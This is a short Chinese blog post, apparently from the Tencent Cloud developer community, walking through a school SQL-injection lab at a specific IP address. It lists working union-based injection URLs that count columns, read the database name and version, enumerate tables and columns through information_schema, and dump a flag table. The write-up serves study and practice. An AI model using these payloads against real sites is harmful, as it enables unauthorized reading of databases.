记一次学校sql靶场的过程
原创
闭合sql语句
http://47.103.94.191:8015/sqli_1.php
?action=search&title=Iron%20Man
image-20220917191220902
爆列，得到八列为异常，七列为正常，即有七列。
http://47.103.94.191:8015/sqli_1.php
?action=search&title=Iron Man' order by 1,2,3,4,5,6,7,8 --+
image-20220917191253704
回显位
http://47.103.94.191:8015/sqli_1.php
?action=search&title=Iron Man123' union select 1,2,3,4,5,6,7 --+
image-20220917191425998
查看数据库版本、名字
http://47.103.94.191:8015/sqli_1.php
?action=search&title=Iron Man123' union select 1,database(),version(),4,5,6,7 --+
image-20220917191525934
爆表
http://47.103.94.191:8015/sqli_1.php
?action=search&title=Iron Man123' union select 1,2,(select group_concat(table_name)from information_schema.tables where database()=table_schema),4,5,6,7--+
image-20220917193443426
报列
http://47.103.94.191:8015/sqli_1.php
?action=search&title=Iron Man123' union select 1,(select group_concat(column_name)from information_schema.columns where database()=table_schema and table_name='this_flag'),3,4,5,6,7 %23
image-20220917193004011
得到flag
http://47.103.94.191:8015/sqli_1.php
?action=search&title=Iron Man123' union select 1,(select group_concat(flag)from whalwl.this_flag),3,4,5,6,7 %23
image-20220917192925948
原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。
如有侵权，请联系 cloudcommunity@tencent.com 删除。
原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。
如有侵权，请联系 cloudcommunity@tencent.com 删除。
评论
登录后参与评论
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建，轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量，更专注于业务发展，让企业一站式享受数据上云及分布式架构的技术红利！
腾讯云开发者
